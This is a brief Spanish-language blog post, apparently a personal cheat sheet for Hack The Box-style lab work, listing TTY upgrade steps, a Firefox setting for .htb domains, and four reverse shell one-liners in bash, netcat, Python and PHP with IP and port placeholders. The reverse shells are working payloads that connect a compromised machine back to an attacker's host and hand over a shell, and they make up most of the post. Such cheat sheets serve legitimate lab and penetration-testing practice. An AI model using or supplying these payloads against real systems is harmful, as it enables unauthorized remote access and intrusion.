Post

Utilidades

Post con recursos generales.

Utilidades

Tratamiento de la tty

1
2
3
4
5
6
7
script /dev/null -c bash
(Ctrl + Z)
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 44 cols 184

Reverse Shell Linux

1
bash -i >& /dev/tcp/{IP}/{PUERTO} 0>&1

Reverse Shell Netcat

1
nc -e /bin/sh {IP} {PUERTO}

Reverse Shell Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP}",{PUERTO}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Reverse Shell PHP

1
php -r '$sock=fsockopen("{IP}",{PUERTO});exec("/bin/sh -i <&3 >&3 2>&3");'

Excluir dominio de la busqueda de firefox:

1
2
about:config
browser.fixup.domainsuffixwhitelist.htb -> true
This post is licensed under CC BY 4.0 by the author.